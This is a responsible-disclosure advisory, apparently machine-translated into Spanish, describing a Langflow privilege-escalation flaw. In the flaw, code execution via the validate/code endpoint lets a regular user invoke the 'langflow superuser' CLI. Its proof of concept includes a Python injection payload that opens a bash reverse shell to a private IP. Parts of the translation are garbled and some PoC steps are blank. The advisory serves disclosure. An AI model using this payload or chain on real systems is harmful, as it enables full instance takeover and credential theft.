Esta vulnerabilidad fue descubierta por investigadores de Punto de control. Estamos compartiendo este informe como parte de un proceso de divulgación responsable y estamos encantados de ayudar en la validación y la remediación si es necesario.
Resumen
Existe una vulnerabilidad de escalada de privilegios en los contenedores de Langflow donde un usuario autenticado con RCE Access puede invocar el comando CLI interno Superusidor de Langflow Para crear un nuevo usuario administrativo. Esto da como resultado un acceso completo al superusor, incluso si el usuario inicialmente se registró a través de la interfaz de usuario como una cuenta regular (no administrativa).
Detalles
La imagen Docker de Langflow incluye un binario de CLI en /app/.venv/bin/langflow que expone comandos confidenciales, que incluyen:
langflow superuser
Este comando permite la creación de un nuevo superusor sin verificar si ya existe.
Cuando se combina con la ejecución del código (por ejemplo, a través de la autentica /API/V1/Validato/Código punto final), un usuario de bajo privilegiado puede ejecutar:
/app/.venv/bin/langflow superuser
Dentro del contenedor, y se elevan a los privilegios completos del superusuario.
Esto omite efectivamente la aplicación de la aplicación de roles y la integridad del usuario de backend, lo que lleva a un compromiso total de la aplicación Langflow.
POC
Inicie el contenedor con langflow_enable_auth establecido en true.
Visita http: // localhost: 7860 y regístrese. (Su usuario no estará marcado IS_SuperUser.)
Exploit/API/V1/Validate/Code para obtener un shell inverso
Envíe una solicitud de publicación autenticada:
{
«code»: «def foo(p=__import__(‘os’).system(\»bash -c ‘bash -i >& /dev/tcp/192.168.1.22/4444 0>&1’\»)):\n pass»
}
Dentro de la carcasa inversa, cree superusor:
Inicie sesión en la interfaz de usuario como nuevo superusador:
Impacto
Escalada de privilegios a Superuser – Taquetación completa de la instancia de Langflow
Acceso a todos los datos del usuario, flujos, credenciales almacenadas y configuración
Fuga de credenciales: el atacante puede extraer claves API de terceros
Exposición de variables de entorno (dentro del contenedor Docker)
Capacidad para ejecutar instancias adicionales de Langflow a través de langflow run Dentro del contenedor, que puede conducir al agotamiento de recursos (CPU, memoria) y degradación del servicio.
Administración completa de usuarios: Superuser puede eliminar a otros usuarios, restablecer sus contraseñas